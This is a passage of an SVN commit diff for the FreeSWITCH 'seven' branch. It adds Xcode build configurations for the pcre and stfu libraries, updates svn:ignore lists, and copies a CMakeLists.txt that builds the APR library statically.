+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_CPLUSPLUSFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = pcre;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		619CD0619CD0619CD0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = s;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_CPLUSPLUSFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = pcre;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		61B45061B45061B450000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 2;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_CPLUSPLUSFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = pcre;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
+		621620621620621620000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = stfu;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/stfu";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		622DA0622DA0622DA0000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = stfu;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/stfu";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		6243B06243B06243B0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = stfu;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/stfu";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		6259F06259F06259F0000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = stfu;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/stfu";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
 /* End XCBuildConfiguration section */
 
 /* Begin XCConfigurationList section */
-		27FC39AC0CDBA14A00BC5B29 /* Build configuration list for PBXProject "freeswitch" */ = {
+		490AA0490AA0490AA0000000 /* Build configuration list for PBXProject "freeswitch" */ = {
 			isa = XCConfigurationList;
 			buildConfigurations = (
-				27FC39AA0CDBA14A00BC5B29 /* Debug */,
-				27FC39AB0CDBA14A00BC5B29 /* Release */,
+				490B80490B80490B80000000 /* Debug */,
+				490D40490D40490D40000000 /* Release */,
+				490EF0490EF0490EF0000000 /* MinSizeRel */,
+				491170491170491170000000 /* RelWithDebInfo */,
 			);
 			defaultConfigurationIsVisible = 0;
-			defaultConfigurationName = Release;
+			defaultConfigurationName = Debug;
 		};
+		493290493290493290000000 /* Build configuration list for PBXAggregateTarget "ALL_BUILD" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				4935F04935F04935F0000000 /* Debug */,
+				4948E04948E04948E0000000 /* Release */,
+				495AF0495AF0495AF0000000 /* MinSizeRel */,
+				496C70496C70496C70000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
+		49BDD049BDD049BDD0000000 /* Build configuration list for PBXNativeTarget "freeswitch" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				49C11049C11049C110000000 /* Debug */,
+				49D81049D81049D810000000 /* Release */,
+				49EDE049EDE049EDE0000000 /* MinSizeRel */,
+				4A03A04A03A04A03A0000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
+		4DAAD04DAAD04DAAD0000000 /* Build configuration list for PBXNativeTarget "libfreeswitch_la.a" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				4DAE504DAE504DAE50000000 /* Debug */,
+				4DC6D04DC6D04DC6D0000000 /* Release */,
+				4DDED04DDED04DDED0000000 /* MinSizeRel */,
+				4DF6704DF6704DF670000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
+		4E6D204E6D204E6D20000000 /* Build configuration list for PBXNativeTarget "libresample.a" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				4E70604E70604E7060000000 /* Debug */,
+				4E88204E88204E8820000000 /* Release */,
+				4E9E404E9E404E9E40000000 /* MinSizeRel */,
+				4EB4D04EB4D04EB4D0000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
+		4F27804F27804F2780000000 /* Build configuration list for PBXNativeTarget "libteletone.a" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				4F2AC04F2AC04F2AC0000000 /* Debug */,
+				4F42804F42804F4280000000 /* Release */,
+				4F58A04F58A04F58A0000000 /* MinSizeRel */,
+				4F6F304F6F304F6F30000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
+		6169F06169F06169F0000000 /* Build configuration list for PBXNativeTarget "libpcre.a" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				616D20616D20616D20000000 /* Debug */,
+				6185B06185B06185B0000000 /* Release */,
+				619CD0619CD0619CD0000000 /* MinSizeRel */,
+				61B45061B45061B450000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
+		6212F06212F06212F0000000 /* Build configuration list for PBXNativeTarget "libstfu.a" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				621620621620621620000000 /* Debug */,
+				622DA0622DA0622DA0000000 /* Release */,
+				6243B06243B06243B0000000 /* MinSizeRel */,
+				6259F06259F06259F0000000 /* RelWithDebInfo */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Debug;
+		};
 /* End XCConfigurationList section */
 	};
-	rootObject = 27FC39A90CDBA14A00BC5B29 /* Project object */;
+	rootObject = 4904E04904E04904E0000000 /* Project object */;
 }

Property changes: freeswitch/branches/seven/libs


Name: svn:ignore
   - libpri*
wanpipe*
*.zip
*.tar
*.tar.gz
*.tgz
apr-iconv
apr-util
curl
howl
iksemel
include
js
libetpan
libeXosip2
libresample
libsndfile
openldap
osip
pcre
PortAudio
speex
sqlite
xmlrpc
apr
libeXosip2-2.2.3
libosip2-2.2.2
libosip2-2.2.3
apr-1.2.6
pcre-6.4
pcre-6.7
apr-util-1.2.6
libeXosip2-2.2.3-pre1
iksemel-1.2
xmlrpc-c-1.03.14
libsndfile-1.0.12
libresample-0.1.3
curl-7.15.2
sqlite-3.3.5
portaudio
libetpan-0.45
howl-1.0.0
openldap-2.3.19
speex-1.1.11.1
mozilla
apr-1.2.7
apr-util-1.2.7
apr-iconv-1.1.1
js20051231
mono-1.1.13.8
php-5.1.6
portaudio_v18_1
pthreads-w32-2-7-0-release
sofia-sip
libeXosip2-2.2.2
libsndfile-1.0.16
nspr-4.6.1.winnt5.release
sqlite-source-3_3_6
VSDependancies
nspr-4.6.1.winnt5.debug
libg729
zlib-1.2.3
speex-1.1.12
sqlite-3.3.6
sofia-sip-1.12.1
sofia-sip-1.12.1
libresample
libsangoma
sqlite-3.2.8
sofia-sip-1*
ruby-1*
Python-2*
resip.build.sh
jitterbuffer
pjproject*
sipsak*
jrtplib*
iovm
sipXtackLib
sipx
cppunit-1*
resiprocate*
sipXportLib
new
unixODBC*
libshout*
lame*
glib-2.12.3
pkg-config-0.21
gettext-0.15
mono-1.2.3.1
sphinxbase-0.4.99
pocketsphinx-0.5.99
iax
flite-1.3.9
Communicator_semi_40.cd_semi_6000
en
lib
music
sounds
libogg-1.1.3
flite-1.3.99
mpg123
   + libpri*
wanpipe*
*.zip
*.tar
*.tar.gz
*.tgz
apr-iconv
apr-util
curl
howl
iksemel
include
js
libetpan
libeXosip2
libresample
libsndfile
openldap
osip
pcre
PortAudio
speex
sqlite
xmlrpc
apr
libeXosip2-2.2.3
libosip2-2.2.2
libosip2-2.2.3
apr-1.2.6
pcre-6.4
pcre-6.7
apr-util-1.2.6
libeXosip2-2.2.3-pre1
iksemel-1.2
xmlrpc-c-1.03.14
libsndfile-1.0.12
libresample-0.1.3
curl-7.15.2
sqlite-3.3.5
portaudio
libetpan-0.45
howl-1.0.0
openldap-2.3.19
speex-1.1.11.1
mozilla
apr-1.2.7
apr-util-1.2.7
apr-iconv-1.1.1
js20051231
mono-1.1.13.8
php-5.1.6
portaudio_v18_1
pthreads-w32-2-7-0-release
sofia-sip
libeXosip2-2.2.2
libsndfile-1.0.16
nspr-4.6.1.winnt5.release
sqlite-source-3_3_6
VSDependancies
nspr-4.6.1.winnt5.debug
libg729
zlib-1.2.3
speex-1.1.12
sqlite-3.3.6
sofia-sip-1.12.1
sofia-sip-1.12.1
libresample
libsangoma
sqlite-3.2.8
sofia-sip-1*
ruby-1*
Python-2*
resip.build.sh
jitterbuffer
pjproject*
sipsak*
jrtplib*
iovm
sipXtackLib
sipx
cppunit-1*
resiprocate*
sipXportLib
new
unixODBC*
libshout*
lame*
glib-2.12.3
pkg-config-0.21
gettext-0.15
mono-1.2.3.1
sphinxbase-0.4.99
pocketsphinx-0.5.99
iax
flite-1.3.9
Communicator_semi_40.cd_semi_6000
en
lib
music
sounds
libogg-1.1.3
flite-1.3.99
mpg123
tiff
tiff-3.8.2
celt-0.5.1
openzap
stuff

Property changes: freeswitch/branches/seven/libs/apr


Name: svn:ignore
   - apr-1-config
exports.c
config.log
.complete
.libs
Makefile
config.nice
apr.pc
config.status
.make.dirs
apr-config.out
export_vars.c
libtool
apr.exp
configure
   + apr-1-config
exports.c
config.log
.complete
.libs
Makefile
config.nice
apr.pc
config.status
.make.dirs
apr-config.out
export_vars.c
libtool
apr.exp
configure
autom4te.cache
aclocal.m4
configure.lineno

Modified: freeswitch/branches/seven/libs/apr/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-Fri Mar 16 17:12:07 EDT 2007
+Mon Jun  8 11:30:01 EDT 2009

Copied: freeswitch/branches/seven/libs/apr/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/apr/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/apr/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/apr/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,110 @@
+cmake_minimum_required(VERSION 2.6)
+
+INCLUDE_DIRECTORIES(include/) 
+
+add_definitions(-DHAVE_CONFIG_H -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK)
+INCLUDE_DIRECTORIES(BEFORE ${CMAKE_SOURCE_DIR}/libs/apr/include/arch/unix/ ./include)    
+
+SET (apr_SRCS
+  passwd/apr_getpass.c
+  strings/apr_cpystrn.c
+  strings/apr_strnatcmp.c
+  strings/apr_strings.c
+  strings/apr_strtok.c
+  strings/apr_fnmatch.c
+  strings/apr_snprintf.c
+  tables/apr_tables.c
+  tables/apr_hash.c
+  atomic/unix/apr_atomic.c
+  dso/unix/dso.c
+  file_io/unix/flock.c
+  file_io/unix/readwrite.c
+  file_io/unix/filepath_util.c
+  file_io/unix/seek.c
+  file_io/unix/dir.c
+  file_io/unix/mktemp.c
+  file_io/unix/filedup.c
+  file_io/unix/tempdir.c
+  file_io/unix/filepath.c
+  file_io/unix/pipe.c
+  file_io/unix/open.c
+  file_io/unix/filestat.c
+  file_io/unix/copy.c
+  file_io/unix/fileacc.c
+  file_io/unix/fullrw.c
+  locks/unix/thread_rwlock.c
+  locks/unix/thread_mutex.c
+  locks/unix/thread_cond.c
+  locks/unix/proc_mutex.c
+  locks/unix/global_mutex.c
+  memory/unix/apr_pools.c
+  misc/unix/charset.c
+  misc/unix/env.c
+  misc/unix/version.c
+  misc/unix/rand.c
+  misc/unix/start.c
+  misc/unix/errorcodes.c
+  misc/unix/getopt.c
+  misc/unix/otherchild.c
+  mmap/unix/mmap.c
+  mmap/unix/common.c
+  network_io/unix/sockaddr.c
+  network_io/unix/sockopt.c
+  network_io/unix/sendrecv.c
+  network_io/unix/multicast.c
+  network_io/unix/sockets.c
+  network_io/unix/inet_ntop.c
+  network_io/unix/inet_pton.c
+  poll/unix/epoll.c
+  poll/unix/select.c
+  poll/unix/poll.c
+  poll/unix/port.c
+  poll/unix/kqueue.c
+  random/unix/sha2.c
+  random/unix/apr_random.c
+  random/unix/sha2_glue.c
+  shmem/unix/shm.c
+  support/unix/waitio.c
+  threadproc/unix/procsup.c
+  threadproc/unix/thread.c
+  threadproc/unix/signals.c
+  threadproc/unix/proc.c
+  threadproc/unix/threadpriv.c
+  time/unix/time.c
+  time/unix/timestr.c
+  user/unix/userinfo.c
+  user/unix/groupinfo.c)
+
+
+ADD_LIBRARY(apr STATIC ${apr_SRCS})
+
+
+#/bin/sh /Users/shaneburrell/freeswitch-svn-real/libs/apr/libtool --silent --mode=link  gcc -g -O2   -DHAVE_CONFIG_H -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK -no-cpp-precomp   -I./include -I/Users/shaneburrell/freeswitch-svn-real/arch/unix -I./include/arch/unix -I/Users/shaneburrell/freeswitch-svn-real  -version-info 2:8:2    -o libapr-1.la -rpath /usr/local/freeswitch/lib passwd/apr_getpass.lo strings/apr_cpystrn.lo strings/apr_strnatcmp.lo strings/apr_strings.lo strings/apr_strtok.lo strings/apr_fnmatch.lo strings/apr_snprintf.lo tables/apr_tables.lo tables/apr_hash.lo atomic/unix/apr_atomic.lo dso/unix/dso.lo file_io/unix/flock.lo file_io/unix/readwrite.lo file_io/unix/filepath_util.lo file_io/unix/seek.lo file_io/unix/dir.lo file_io/unix/mktemp.lo file_io/unix/filedup.lo file_io/unix/tempdir.lo file_io/unix/filepath.lo file_io/unix/pipe.lo file_io/unix/open.lo file_io/unix/filestat.lo file_io/unix/copy.lo file_io/unix/fileacc.lo file_io/unix/fullrw.lo locks/unix/thread_rwlock.lo locks/unix/thread_mutex.lo locks/unix/thread_cond.lo locks/unix/proc_mutex.lo locks/unix/global_mutex.lo memory/unix/apr_pools.lo misc/unix/charset.lo misc/unix/env.lo misc/unix/version.lo misc/unix/rand.lo misc/unix/start.lo misc/unix/errorcodes.lo misc/unix/getopt.lo misc/unix/otherchild.lo mmap/unix/mmap.lo mmap/unix/common.lo network_io/unix/sockaddr.lo network_io/unix/sockopt.lo network_io/unix/sendrecv.lo network_io/unix/multicast.lo network_io/unix/sockets.lo network_io/unix/inet_ntop.lo network_io/unix/inet_pton.lo poll/unix/epoll.lo poll/unix/select.lo poll/unix/poll.lo poll/unix/port.lo poll/unix/kqueue.lo random/unix/sha2.lo random/unix/apr_random.lo random/unix/sha2_glue.lo shmem/unix/shm.lo support/unix/waitio.lo threadproc/unix/procsup.lo threadproc/unix/thread.lo threadproc/unix/signals.lo threadproc/unix/proc.lo threadproc/unix/threadpriv.lo time/unix/time.lo time/unix/timestr.lo user/unix/userinfo.lo user/unix/groupinfo.lo   -ldl  -lpthread
+
